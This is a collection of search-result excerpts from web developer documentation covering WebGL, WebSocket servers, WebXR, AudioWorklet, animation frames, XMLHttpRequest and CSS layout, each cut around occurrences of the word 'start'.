start"; // stop animation by clearing the timer. clearinterval(timer); } // call stopanimation() once to setup the initial event // handlers for canvas and button. stopanimation({type: "click"}); var gl; function drawanimation () { if (!gl) { var canvas = document.getelementbyid("canvas-view"); gl = canvas.getcontext("webg...
WebGL constants - Web APIs
as = document.getelementbyid('mycanvas'); var gl = canvas.getcontext('webgl'); gl.getparameter(gl.line_width); some constants are also provided by webgl extensions. a list is provided below. var debuginfo = gl.getextension('webgl_debug_renderer_info'); var vendor = gl.getparameter(debuginfo.unmasked_vendor_webgl); the webgl tutorial has more information, examples, and resources on how to get
started with webgl. table of contents standard webgl 1 constants standard webgl 2 constants webgl extension constants standard webgl 1 constants these constants are defined on the webglrenderingcontext interface. clearing buffers constants passed to webglrenderingcontext.clear() to clear buffer masks. constant name value description depth_buffer_bit 0x00000100...
...ion vertex_attrib_array_integer 0x88fd vertex_attrib_array_divisor 0x88fe transform feedback constant name value description transform_feedback_buffer_mode 0x8c7f max_transform_feedback_separate_components 0x8c80 transform_feedback_varyings 0x8c83 transform_feedback_buffer_
start 0x8c84 transform_feedback_buffer_size 0x8c85 transform_feedback_primitives_written 0x8c88 max_transform_feedback_interleaved_components 0x8c8a max_transform_feedback_separate_attribs 0x8c8b interleaved_attribs 0x8c8c separate_attribs 0x8c8d transform_feedback_buffer 0x8c8e ...
...a9 read_framebuffer_binding 0x8caa renderbuffer_samples 0x8cab framebuffer_attachment_texture_layer 0x8cd4 framebuffer_incomplete_multisample 0x8d56 uniforms constant name value description uniform_buffer 0x8a11 uniform_buffer_binding 0x8a28 uniform_buffer_
start 0x8a29 uniform_buffer_size 0x8a2a max_vertex_uniform_blocks 0x8a2b max_fragment_uniform_blocks 0x8a2d max_combined_uniform_blocks 0x8a2e max_uniform_buffer_bindings 0x8a2f max_uniform_block_size 0x8a30 max_combined_vertex_uniform_components 0x8a31 max_combined_fr...
Writing a WebSocket server in C# - Web APIs
space with the using keyword in order to write less. it allows usage of a namespace's classes without typing the full namespace every time. tcplistener constructor: tcplistener(system.net.ipaddress localaddr, int port) localaddr specifies the ip of the listener, and port specifies the port. to create an ipaddress object from a string, use the parse static method of ipaddress. ...
... methods:
start() system.net.sockets.tcpclient accepttcpclient() waits for a tcp connection, accepts it and returns it as a tcpclient object. here's a barebones server implementation: using system.net.sockets; using system.net; using system; class server { public static void main() { tcplistener server = new tcplistener(ipaddress.parse("127.0.0.1"), 80); server.
start(); console.writeline("server has
started on 127.0.0.1:80.{0}waiting for a connection...", environment.newline); tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); } } tcpclient methods: system.net.sockets.networkstream getstream() gets the stream which is the communication channel. both sides of the channel have reading and...
...te)(encoded[i] ^ mask[i % 4]); } put together wsserver.cs // // csc wsserver.cs // wsserver.exe using system; using system.net; using system.net.sockets; using system.text; using system.text.regularexpressions; class server { public static void main() { string ip = "127.0.0.1"; int port = 80; var server = new tcplistener(ipaddress.parse(ip), port); server.
start(); console.writeline("server has
started on {0}:{1}, waiting for a connection...", ip, port); tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); networkstream stream = client.getstream(); // enter to an infinite cycle to be able to handle every change in stream while (true) { while (!stream.dataavai...
Writing WebSocket servers - Web APIs
e security issues can occur. tip: the request-uri (/chat here) has no defined meaning in the spec. so, many people use it to let one server handle multiple websocket applications. for example, example.com/chat could invoke a multiuser chat app, while /game on the same server might invoke a multiplayer game. client handshake request even though you're building a server, a client still has to
start the websocket handshake process by contacting the server and requesting a websocket connection. so, you must know how to interpret the client's request. the client will send a pretty standard http request with headers that looks like this (the http version must be 1.1 or greater, and the method must be get): get /chat http/1.1 host: example.com:8000 upgrade: websocket connection: upgrade sec-web...
...ious to the client whether the server supports websockets. this is important because security issues might arise if the server accepts a websockets connection but interprets the data as a http request. so if the key was "dghlihnhbxbszsbub25jzq==", the sec-websocket-accept header's value is "s3pplmbitxaq9kygzzhzrbk+xoo=". once the server sends these headers, the handshake is complete and you can
start swapping data! note: the server can send other headers like set-cookie, or ask for authentication or redirects via other status codes, before sending the reply handshake. keeping track of clients this doesn't directly relate to the websocket protocol, but it's worth mentioning here: your server must keep track of clients' sockets so you don't keep handshaking again with clients who have alre...
... sketch, in which a server reacts to a client sending text messages. the first message is sent in a single frame, while the second message is sent across three frames. fin and opcode details are shown only for the client: client: fin=1, opcode=0x1, msg="hello" server: (process complete message immediately) hi. client: fin=0, opcode=0x1, msg="and a" server: (listening, new message containing text
started) client: fin=0, opcode=0x0, msg="happy new" server: (listening, payload concatenated to previous message) client: fin=1, opcode=0x0, msg="year!" server: (process complete message) happy new year to you too! notice the first frame contains an entire message (has fin=1 and opcode!=0x0), so the server can process or respond as it sees fit. the second frame sent by the client has a text payload (o...
Fundamentals of WebXR - Web APIs
bxr different from webvr? webvr was generally considered to be an experimental api designed to help specification writers determine the best approaches to creating an api for virtual reality on the web. as browser developers built support for webvr and allowed developers to experiment, it became clear that in order to finish an api for virtual environments on the web, it would make more sense to
start a new specification than to try to "fix" webvr. thus, webxr was created. the most obvious difference, at the highest level, is that webxr supports not just virtual reality applications, but also augmented reality, which blends virtual objects with the user's true physical environment. another key difference is that webxr has integrated support for the advanced input controllers that are used wi...
... by applications. for more details about this, see the optics of 3d in rendering and the webxr frame animation callback. field of view and mixed reality devices to achieve a wide enough field of view that the user's eyes are tricked into believing that the virtual world completely surrounds them, the fov needs to at least approach the width of the binocular vision area. basic headsets typically
start around 90° or so, while the best headsets generally have a field of view of around 150°. because the fov is a matter of the size of the lenses and how close they are to the user's eyes, there are limitations on how wide the fov can get without installing lenses into the user's eyeballs. a wide fov can substantially improve the user's sense of immersion. however, increasing the fov can also inc...
...toolkits the game toolkits are designed for game developers and often include gaming-specific features such as physics models, input control systems, asset management, 3d sound playback, and the like. playcanvas next steps with these basic facts in hand, you're ready to take those next steps into the world of mixed reality. the following articles can help. webxr application life cycle
starting up and shutting down a webxr session movement, orientation, and motion: a webxr example ...
WebXR Device API - Web APIs
o terminology that may be unfamiliar to you, or which may be used in a new way. matrix math for the web a guide covering how matrices can be used on the web, including both for css transforms and for webgl purposes, as well as to handle the positioning and orientation of objects in webxr contexts. ...
...ng and orientation of objects in webxr contexts. webxr application life cycle an overview of the overall life cycle of a webxr application, from
startup to shutdown. this article serves as an introduction to the basics of what's involved in creating a webxr experience without diving into the code in detail. it's a good way to prepare for the next steps. creating a mixed reality experience
starting up and shutting down a webxr session before actually presenting a scene using an xr device such as a headset or goggles, you need to create a webxr session bound to a rendering layer that draws the scene for presentation in each of the xr device's displays so that the 3d effect can be presented to the user. this guide covers how to create and stop webxr sessions. geometry and reference space...
...rence space, as well as their use cases. spatial tracking in webxr this guide describes how objects—including the user's body and its parts—are located in space, and how their movement and orientation relative to one another is monitored and managed over time. this article explains the relationship between spaces, poses, viewers, and views. rendering and the webxr frame animation callback
starting with how you schedule frames to be rendered, this guide then continues to cover how to determine the placement of objects in the view and how to then render them into the webgl buffer used for each of the two eyes' views of the scene. viewpoints and viewers: simulating cameras in webxr webgl (and therefore webxr) doesn't really have a concept of a camera, which is the traditional concept us...
Background audio processing using AudioWorklet - Web APIs
lication is the topic of this article. it's worth noting that because audio processing can often involve substantial computation, your processor may benefit greatly from being built using webassembly, which brings near-native or fully native performance to web apps. implementing your audio processing algorithm using webassembly can make it perform markedly better. high level overview before we
start looking at the use of audioworklet on a step-by-step basis, let's
start with a brief high-level overview of what's involved. create module that defines a audio worklet processor class, based on audioworkletprocessor which takes audio from one or more incoming sources, performs its operation on the data, and outputs the resulting audio data. access the audio context's audioworklet through its ...
...rkletnodes are set up. this is the barest framework and actually has no effect until code is added into process() to do something with those inputs and outputs. which brings us to talking about those inputs and outputs. the input and output lists the lists of inputs and outputs can be a little confusing at first, even though they're actually very simple once you realize what's going on. let's
start at the inside and work our way out. fundamentally, the audio for a single audio channel (such as the left speaker or the subwoofer, for example) is represented as a float32array whose values are the individual audio samples. by specification, each block of audio your process() function receives contains 128 frames (that is, 128 samples for each channel), but it is planned that this value will cha...
...ule("module-url/module.js"); } catch(e) { return null; } } return new audioworkletnode(audiocontext, "processor-name"); } this createmyaudioprocessor() function creates and returns a new instance of audioworkletnode configured to use your audio processor. it also handles creating the audio context if it hasn't already been done. in order to ensure the context is usable, this
starts by creating the context if it's not already available, then adds the module containing the processor to the worklet. once that's done, it instantiates and returns a new audioworkletnode. once you have that in hand, you connect it to other nodes and otherwise use it just like any other node. you can then create a new audio processor node by simply doing this: let newprocessornode = createmyaudi...
window.cancelAnimationFrame() - Web APIs
the id value returned by the call to window.requestanimationframe() that requested the callback. ...
...the call to window.requestanimationframe() that requested the callback. ...
...questanimationframe || window.webkitrequestanimationframe || window.msrequestanimationframe; var cancelanimationframe = window.cancelanimationframe || window.mozcancelanimationframe; var
start = window.mozanimation
starttime; // only supported in ff. other browsers can use something like date.now(). ...
Window.requestAnimationFrame() - Web APIs
te screens. check the example below for a way to do this. syntax window.requestanimationframe(callback); parameters callback the function to call when it's time to update your animation for the next repaint. the callback function is passed one single argument, a domhighrestimestamp similar to the one returned by performance.now(), indicating the point in time when requestanimationframe()
starts to execute callback functions. return value a long integer value, the request id, that uniquely identifies the entry in the callback list. this is a non-zero value, but you may not make any other assumptions about its value. you can pass this value to window.cancelanimationframe() to cancel the refresh callback request. example in this example, an element is animated for 2 seconds (2000 mil...
..., but you may not make any other assumptions about its value. you can pass this value to window.cancelanimationframe() to cancel the refresh callback request. example in this example, an element is animated for 2 seconds (2000 milliseconds). ...
...liseconds). the element moves at a speed of 0.1px/ms to the right, so its relative position (in css pixels) can be calculated in function of the time elapsed since the
start of the animation (in milliseconds) with 0.1 * elapsed. the element's final position is 200px (0.1 * 2000) to the right of its initial position. const element = document.getelementbyid('some-element-you-want-to-animate'); let
start; function step(timestamp) { if (
start === undefined)
start = timestamp; const elapsed = timestamp -
start; // `math.min()` is used here to make sure that the element stops at exactly 200px. element.style.transform = 'translatex(' + math.min(0.1 * elapsed, 200) + 'px)'; if (elapsed < 2000) { // stop the animation after 2 seconds window.requestanimationframe(step); } } windo...
Using XMLHttpRequest - Web APIs
third argument) that is set on the xmlhttprequest.open() method. if this argument is true or not specified, the xmlhttprequest is processed asynchronously, otherwise the process is handled synchronously. a detailed discussion and demonstrations of these two types of requests can be found on the synchronous and asynchronous requests page. do not use synchronous requests outside web workers. ...
...an be found on the synchronous and asynchronous requests page. do not use synchronous requests outside web workers. note:
starting with gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27), synchronous requests on the main thread have been deprecated due to the negative effects to the user experience. note: the constructor function xmlhttprequest isn't limited to only xml documents. it
starts with "xml" because when it was created the main format that was originally used for asynchronous data exchange were xml handling responses there are several types of response attributes defined by the living standard specification for the xmlhttprequest() constructor. these tell the client making the xmlhttprequest important information about the status of the response. some cases where dealin...
... the xmlhttprequest.upload object, as shown below: var oreq = new xmlhttprequest(); oreq.upload.addeventlistener("progress", updateprogress); oreq.upload.addeventlistener("load", transfercomplete); oreq.upload.addeventlistener("error", transferfailed); oreq.upload.addeventlistener("abort", transfercanceled); oreq.open(); note: progress events are not available for the file: protocol. note:
starting in gecko 9.0, progress events can now be relied upon to come in for every chunk of data received, including the last chunk in cases in which the last packet is received and the connection closed before the progress event is fired. in this case, the progress event is automatically fired when the load event occurs for that packet. this lets you now reliably monitor progress by only watching the ...
XRPermissionDescriptor.requiredFeatures - Web APIs
expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object. xrboundedreferencespace local a tracking space whose native origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. ...
...if that floor level isn't known, the user agent will estimate the floor level. ...
...or when working with offset spaces. otherwise, typically, one of the other reference space types will be used more often. xrreferencespace usage notes examples in this example, permissions are checked to ensure that the user has granted permission for the site or app to use immersive augmented reality mode with the local-floor reference space (presumably since the user is unlikely to
start to fly). let xrpermissiondesc = { name: "xr", mode: "immersive-ar", requiredfeatures: [ "local-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptandsetupxr(); break; default: /* do nothing otherwise ...
XRSession.cancelAnimationFrame() - Web APIs
as previously requested by calling requestanimationframe. syntax xrsession.cancelanimationframe(handle); parameters handle the unique value returned by the call to requestanimationframe() that previously scheduled the animation callback. return value none. usage notes this function has no effect if the specified handle cannot be found. example in the example below we see code which
starts up a webxr session if immersive vr mode is supported. once
started, the session schedules its first frame to be rendered by calling requestanimationframe(). the pausexr() function shown at the bottom can be called to suspend the webvr session, in essence, by canceling any pending animation frame callback. since each frame callback schedules the next one, removing the callback terminates updatin...
...an be called to suspend the webvr session, in essence, by canceling any pending animation frame callback. since each frame callback schedules the next one, removing the callback terminates updating of the webxr scene. ...
... callback terminates updating of the webxr scene. ...
XRSession - Web APIs
hrough the oninputsourceschange event handler property. select an event of type xrinputsourceevent which is sent to the session when one of the session's input sources has successfully completed a primary action. this generally corresponds to the user pressing a trigger, touchpad, or button, speaks a command, or performs a recognizable gesture. the select event is sent after the select
start event is sent and immediately before the selectend event is sent. if select is not sent, then the select action was aborted before being completed. also available through the onselect event handler property. selectend an event of type xrinputsourceevent which gets sent to the session object when one of its input devices finishes its primary action or gets disconnected while in the...
...input devices finishes its primary action or gets disconnected while in the process of handling a primary action. for example: for button or trigger actions, this means the button has been released; for spoken commands, it means the user has finished speaking. this is the last of the three select* events to be sent. also available through the onselectend event handler property. select
start an event of type xrinputsourceevent which is sent to the session object when one of its input devices is first engaged by the user in such a way as to cause the primary action to begin. this is the first of the session* event to be sent. also available through the onselect
start event handler property. squeeze an xrinputsourceevent sent to indicate that a primary squeeze action ...
.... it is sent immediately before the squeezeend event is sent to indicate that the squeeze action is over. also available through the onsqueeze event handler property. squeezeend an xrinputsourceevent sent to the xrsession when the primary squeeze action ends, whether or not the action was successful. also available using the onsqueezeend event handler property. squeeze
start an event of type xrinputsourceevent which is sent to the xrsession when the user initially squeezes a squeezable controller. this may be, for example, a trigger which is used to represent grabbing objects, or might represent actual squeezing when wearing a haptic glove. also available through the onsqueeze
start event handler property. visibilitychange an xrsessionevent which is...
XRSystem: isSessionSupported() - Web APIs
in this example, we see issessionsupported() used to detect whether or not the device supports vr mode by checking to see if an immersive-vr session is supported. if it is, we set up a button to read "enter xr", to call a method onbuttonclicked(), and enable the button. if no session is already underway, we request the vr session and, if successful, set up the session in a method called onsession
started(), not shown. if a session is already underway when the button is clicked, we call the xrsession object's end() method to shut down the webxr session. if (navigator.xr) { navigator.xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { userbutton.addeventlistener('click', onbuttonclicked); userbutton.innerhtml = 'enter xr'; userbutton.disabl...
... xrsession.end(); } } specifications specification status comment webxr device apithe definition of 'issessionsupported()' in that specification. working draft initial definition. ...
... xrsession.end(); } } specifications specification status comment webxr device apithe definition of 'issessionsupported()' in that specification. working draft initial definition. ...
XRSystem: requestSession() - Web APIs
rsession.addeventlistener('end', onxrsessionended); // do necessary session setup here. // begin the session’s animation loop. xrsession.requestanimationframe(onxranimationframe); }).catch(function(error) { // "immersive-vr" sessions are not supported console.warn("'immersive-vr' isn't supported, or an error occurred activating vr!"); }); verifying webxr support and using a button to
start vr mode the following example shows how to use both issessionsupported() and requestsession(). first, it checks to see if webxr is available by verifying the existence of navigator.xr. next, it calls issessionsupported(), passing it the desired session option before enabling controls for entering xr. adding controls is a necessary step because entering xr requires a user action. finally, the onb...
... xrsession.end().then(() => xrsession = null); } } specifications specification status comment webxr device apithe definition of 'requestsession()' in that specification. working draft initial definition. ...
...n.disabled = false; } else { console.log("webxr doesn't support immersive-vr mode!"); } }); } else { console.log("webxr is not available!"); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then((session) => { xrsession = session; // onsession
started() not shown for reasons of brevity and clarity. onsession
started(xrsession); }); } else { // button is a toggle button. xrsession.end().then(() => xrsession = null); } } specifications specification status comment webxr device apithe definition of 'requestsession()' in that specification. working draft initial definition. ...
Operable - Accessibility
uld be given controls to allow them to adjust, extend or turn off the time limit. exceptions to this are activities with time limits longer than 20 hours, real time events (e.g. live multiplayer games), and any other activity that requires a time limit and would be invalidated if it were turned off. ...
...this does not apply to auto-updating content that is essential to the experience. examples include carousels or rotating annoucements. ...
... functionality available to suppress or postpone them, unless it is an emergency alert. 2.2.5 re-authenticating (aaa) if an authentication session expires during usage of a web app, the user can re-authenticate and continue their usage without losing any data. 2.2.6 timeouts (aaa) added in 2.1 if there is a timeout (caused by user inactivity) warn users at the
start of a process so they will not be surprised that a timeout exists (or only allow the timeout to occur after 20 hours of inactivity. understanding timeouts note: also see the wcag description for guideline 2.2 enough time: provide users enough time to read and use content. guideline 2.3 — seizures and physical reactions: do not design content in a way that is known to cause seiz...
-webkit-border-before - CSS: Cascading Style Sheets
/* border values */ -webkit-border-before: 1px; -webkit-border-before: 2px dotted; -webkit-border-before: medium dashed blue; /* global values */ -webkit-border-before: inherit; -webkit-border-before: initial; -webkit-border-before: unset; -webkit-border-before can be used to set the values for one or more of: -webkit-border-before-width, -webkit-border-before-style, and -webkit-border-before-color. ...
...-width, -webkit-border-before-style, and -webkit-border-before-color. it maps to a physical border depending on the element's writing mode, directionality, and text orientation. it corresponds to the border-top, border-right, border-bottom, or border-left property depending on the values defined for writing-mode, direction, and text-orientation. it relates to -webkit-border-after, -webkit-border-
start, and -webkit-border-end, which define the other borders of the element. this property is on the standard track as border-block-
start. syntax values one or more of the following, in any order: <'border-width'> see border-width <'border-style'> see border-style <'color'> see color formal definition initial valueas each of the properties of the shorthand:border-width: as each of the p...
... ...
@keyframes - CSS: Cascading Style Sheets
frames (or waypoints) along the animation sequence. this gives more control over the intermediate steps of the animation sequence than transitions. syntax @keyframes slidein { from { transform: translatex(0%); } to { transform: translatex(100%); } } values <custom-ident> a name identifying the keyframe list. this must match the identifier production in css syntax. from a
starting offset of 0%. to an ending offset of 100%. <percentage> a percentage of the time through the animation sequence at which the specified keyframe should occur. description javascript can access the @keyframes at-rule with the css object model interface csskeyframesrule. to use keyframes, create a @keyframes rule with a name that is then used by the animation-name property to match an ani...
...n animation to its keyframe declaration. each @keyframes rule contains a style list of keyframe selectors, which specify percentages along the animation when the keyframe occurs, and a block containing the styles for that keyframe. you can list the keyframe percentages in any order; they will be handled in the order they should occur. valid keyframe lists if a keyframe rule doesn't specify the
start or end states of the animation (that is, 0%/from and 100%/to), browsers will use the element's existing styles for the
start/end states. this can be used to animate an element from its initial state and back. properties that can't be animated in keyframe rules are ignored, but supported properties will still be animated. resolving duplicates if multiple keyframe sets exist for a given name, th...
... a keyframe is defined multiple times but not all affected properties are in each keyframe, all values specified in these keyframes are considered. for example: @keyframes identifier { 0% { top: 0; } 50% { top: 30px; left: 20px; } 50% { top: 10px; } 100% { top: 0; } } in this example, at the 50% keyframe, the values used are top: 10px and left: 20px. cascading keyframes are supported
starting in firefox 14. !important in a keyframe declarations in a keyframe qualified with !important are ignored. @keyframes important1 { from { margin-top: 50px; } 50% { margin-top: 150px !important; } /* ignored */ to { margin-top: 100px; } } @keyframes important2 { from { margin-top: 50px; margin-bottom: 100px; } to { margin-top: 150px !important; /* ignored */ ...
Border-radius generator - CSS: Cascading Style Sheets
ener('change', function(e) { var value = parseint(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); subscribe(obj.topic, function(value) { input.value = value + obj.unit; }); return input; } var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var
startx = null; var
start_value = 0; slider.addeventlistener("click", function(e) { setvalue(obj.topic, obj.value + obj.step * sign); }); slider.addeventlistener("mousedown", function(e) {
startx = e.clientx;
start_value = obj.value; document.body.style.cursor = "e-resize"; document.addeventlistener("mousemove", slidermotion); }); document.addeventlistener("mouseup", functi...
...style.cursor = "e-resize"; document.addeventlistener("mousemove", slidermotion); }); document.addeventlistener("mouseup", function(e) { document.removeeventlistener("mousemove", slidermotion); document.body.style.cursor = "auto"; slider.style.cursor = "pointer"; }); var slidermotion = function slidermotion(e) { slider.style.cursor = "e-resize"; var delta = (e.clientx -
startx) / obj.sensivity | 0; var value = delta * obj.step +
start_value; setvalue(obj.topic, value); } return slider; } var inputslider = function(node) { var min = node.getattribute('data-min') | 0; var max = node.getattribute('data-max') | 0; var step = node.getattribute('data-step') | 0; var value = node.getattribute('data-value') | 0; var topic = node.getattribute('data-to...
...adius.init(); }); var borderradius = (function borderradius() { function getelembyid(id) { return document.getelementbyid(id); } /** * shadow dragging */ var previewmousetracking = (function drag() { var active = false; var lastx = 0; var lasty = 0; var subscribers = []; var init = function init(id) { var elem = getelembyid(id); elem.addeventlistener('mousedown', drag
start, false); document.addeventlistener('mouseup', dragend, false); } var drag
start = function drag
start(e) { if (e.button !== 0) return; active = true; lastx = e.clientx; lasty = e.clienty; document.addeventlistener('mousemove', mousedrag, false); } var dragend = function dragend(e) { if (e.button !== 0) return; if (active === true) { active = false; ...
Box-shadow generator - CSS: Cascading Style Sheets
> width) x = width; color.a = (x / width).tofixed(2); // should update just // alpha pointer location updateui(); notify("color", color); } var sethuegfx = function sethuegfx(hue) { var sat = color.saturation; var val = color.value; var alpha = color.a; color.sethsv(hue, 100, 100); gradient_area.style.backgroundcolor = color.gethexa(); color.a = 0; var
start = color.getrgba(); color.a = 1; var end = color.getrgba(); color.a = alpha; var gradient = '-moz-linear-gradient(left, ' +
start + '0%, ' + end + ' 100%)'; alpha_area.style.background = gradient; } var updateui = function updateui() { var x, y; // coordinates var size; // size of the area var offset; // pointer graphic selector offset // set color pointer loca...
...width; offset = alpha_selector.clientwidth/2; x = (color.a * size) | 0; alpha_selector.style.left = x - offset + "px"; // set picker area background var nc = new color(); nc.copy(color); if (nc.hue === 360) nc.hue = 0; nc.sethsv(nc.hue, 100, 100); gradient_area.style.backgroundcolor = nc.gethexa(); // set alpha area background nc.copy(color); nc.a = 0; var
start = nc.getrgba(); nc.a = 1; var end = nc.getrgba(); var gradient = '-moz-linear-gradient(left, ' +
start + '0%, ' + end + ' 100%)'; alpha_area.style.background = gradient; // update color info notify("color", color); notify("hue", color.hue); notify("saturation", color.saturation); notify("value", color.value); notify("r", color.r); notify("g", color.g); notify(...
...atealpha); } return { init : init, setcolor : setcolor, subscribe : subscribe, unsubscribe : unsubscribe } })(); /** * shadow dragging */ var previewmousetracking = (function drag() { var active = false; var lastx = 0; var lasty = 0; var subscribers = []; var init = function init(id) { var elem = getelembyid(id); elem.addeventlistener('mousedown', drag
start, false); document.addeventlistener('mouseup', dragend, false); } var drag
start = function drag
start(e) { if (e.button !== 0) return; active = true; lastx = e.clientx; lasty = e.clienty; document.addeventlistener('mousemove', mousedrag, false); } var dragend = function dragend(e) { if (e.button !== 0) return; if (active === true) { active = false; ...
Box alignment in grid layout - CSS: Cascading Style Sheets
ties to help us achieve this. the inline axis is the axis that corresponds to the direction that words in a sentence would run in the writing mode used. therefore, in a horizontal language such as english or arabic the inline direction runs horizontally. should you be in a vertical writing mode the inline axis will run vertically. ...
... self alignment justify-self align-self place-self justify-items align-items place-items these properties deal with aligning the item inside the grid area it is placed into. ...
...override any items that need a different alignment by applying the align-self or justify-self property to the rules for the individual grid items. the initial value for align-self and justify-self is stretch so the item will stretch over the entire grid area. the exception to this rule is where the item has an intrinsic aspect ratio, for example an image. in this case the item will be aligned to
start in both dimensions in order that the image is not distorted. content alignment justify-content align-content place-content these properties deal with aligning the tracks of the grid when there is extra space to distribute. this scenario will occur if the tracks that you have defined total less than the total width of the grid container. gap and legacy grid-gap properties row-gap colu...
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
ere are a few concepts worth digging into before looking at how the flex properties work to control ratios along the main axis. these relate to the natural size of flex items before any growing or shrinking takes place, and to the concept of free space. flex item sizing in order to work out how much space there is available to lay out flex items, the browser needs to know how big the item is to
start with. how is this worked out for items that don’t have a width or a height applied using an absolute length unit? there is a concept in css of min-content and max-content — these keywords are defined in the css intrinsic and extrinsic sizing specification, and can be used in place of a length unit. in the live example below for instance i have two paragraph elements that contain a string of...
... the items out we have some positive free space in the flex container, shown in this image as the hatched area: we are working with a flex-basis equal to the content size so the available space to distribute is subtracted from the total available space (the width of the flex container), and the leftover space is then shared out equally among each item. ...
... available space to distribute is subtracted from the total available space (the width of the flex container), and the leftover space is then shared out equally among each item. our bigger item ends up bigger because it
started from a bigger size, even though it has the same amount of spare space assigned to it as the others: if what you actually want is three equally-sized items, even if they
start out at different sizes, you should use this: flex: 1 1 0; here we are saying that the size of the item for the purposes of our space distribution calculation is 0 — all the space is up for grabs and as all of the items have the same flex-grow factor, they each get an equal amount of space distributed. the end result is three equal width, flexible items. try changing the flex-grow factor from...
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
el item, a new flex line is created for the items and so on until all of the items are placed. as the items can grow, they will expand larger than 160 px in order to fill each row completely. if there is only one item on the final line it will stretch to fill the entire line. we can see the same thing happening with columns. the container will need to have a height in order that the items will
start wrapping and creating new columns, and items will stretch taller to fill each column completely. wrapping and flex-direction wrapping works as you might expect when combined with flex-direction. if flex-direction is set to row-reverse then the items will
start from the end edge of the container and lay themselves out in reverse ordered lines. note that the reversing is only happening in th...
...olumns, and items will stretch taller to fill each column completely. wrapping and flex-direction wrapping works as you might expect when combined with flex-direction. if flex-direction is set to row-reverse then the items will
start from the end edge of the container and lay themselves out in reverse ordered lines. note that the reversing is only happening in the inline, row direction. we
start on the right then go onto the second line and again
start from the right. we aren’t reversing in both directions,
starting from the bottom coming up the container! single-dimensional layout explained as we have seen from the above examples if our items are allowed to grow and shrink, when there are fewer items in the last row or column then those items grow to fill the available space. there...
...o examples as chrome and safari treat collapse as hidden. when dealing with multiple-line flex containers however you need to understand that the wrapping is re-done after collapsing. so the browser needs to re-do the wrapping behaviour to account for the new space that the collapsed item has left in the inline direction. this means that items might end up on a different line to the one they
started on. in the case of an item being shown and hidden it could well cause the items to end up in a different row. i have created this behaviour in the next live example. you can see how the stretching changes row based on the location of the collapsed item. if you add more content to the second item, it changes row once it gets long enough. that top row then only becomes as tall as a single line o...
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
with placement properties the first thing grid will do is place any items that have a position. in the example below i have 12 grid items. item 2 and item 5 have been placed using line based placement on the grid. you can see how those items are placed and the other items then auto-place in the spaces. the auto-placed items will place themselves before the placed items in dom order, they don’t
start after the position of a placed item that comes before them. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> ...
...mn: 1 / 3; grid-row: 1 / 3; } deal with items that span tracks you can use placement properties while still taking advantage of auto-placement. in this next example i have added to the layout by setting odd items to span two tracks both for rows and columns. i do this with the grid-column-end and grid-row-end properties and setting the value of this to span 2. what this means is that the
start line of the item will be set by auto-placement, and the end line will span two tracks. you can see how this then leaves gaps in the grid, as for the auto-placed items if grid comes across an item that doesn’t fit into a track, it will move to the next row until it finds a space the item can fit in. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;...
..." alt="placeholder"></li> </ul> auto-placement can also help you lay out interface items which do have logical order. an example is the definition list in this next example. definition lists are an interesting challenge to style as they are flat, there is nothing wrapping the groups of dt and dd items. in my example i am allowing auto-placement to place the items, however i have classes that
start a dt in column 1, and dd in column 2, this ensure that terms go on one side and definitions on the other - no matter how many of each we have. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } <div class="wrapper"> <dl> <dt>mammals</dt> <dd>cat</dd> <dd>dog</dd> <dd>mouse</dd> ...
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
of our document, and we should make sure that we preserve that structure. how should we approach accessibility for grid layout? from the specification we know that we need to ensure our document maintains the logical order of our content. how should we approach our development to make sure that we maintain accessibility for the different users and the ways that they interact with our pages?
start with a structured and accessible document a grid layout should mean we do not need to change our document source in order to get the layout that we want. therefore the
starting point of your page should be a well structured and accessible source document. as is noted in the css grid layout specification, this is quite often going to give you a good structure for your smallest screen devices too.
...up, to remove semantic elements in order to make it simpler to create a layout. an example would be where some content was semantically marked up as a list but you decide to use a set of <div> elements instead as then you can have the element to be a direct child of a container set to display: grid. be aware of this temptation and find ways to develop your design without stripping out the markup.
starting out with a well-structured document is a very good way to avoid the problem, as you will be aware that you are removing semantic elements in order to make the layout work if you actually have to go into the document and do so! further reading there is not a lot of existing material regarding accessibility and css grid layout. many of the issues are similar to those raised regarding css flexb...
...g there is not a lot of existing material regarding accessibility and css grid layout. many of the issues are similar to those raised regarding css flexbox, which also gives methods of reordering content with flex-direction and the order property. the concept of visual display following document source order is detailed in the wcag techniques for success criteria – technique c27. as a way to
start thinking about these issues, as you use css grid layout i would suggest reading flexbox & the keyboard navigation disconnect from léonie watson. also the video of léonie’s presentation from ffconf is helpful to understand more about how screen readers work with the visual representation of things in css. adrian roselli has also posted regarding tab order in various browsers – although this ...
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
cation, even where the properties and values appear the same. this early implementation is also the version of grid layout implemented in edge up to version 15. the ie/edge (≤15) version of the specification is prefixed with an -ms prefix and the properties implemented in ie/edge (≤15) are as follows: grid-template-columns as -ms-grid-columns grid-template-rows as -ms-grid-rows grid-row-
start as -ms-grid-row grid-column-
start as -ms-grid-column align-self as -ms-grid-row-align justify-self as -ms-grid-column-align the ie version has additional properties not required in the new specification of -ms-grid-column-span and -ms-grid-row-span. this version does not include auto-placement capability, or grid template areas. some simple grid layouts could be implemented for ie10, through...
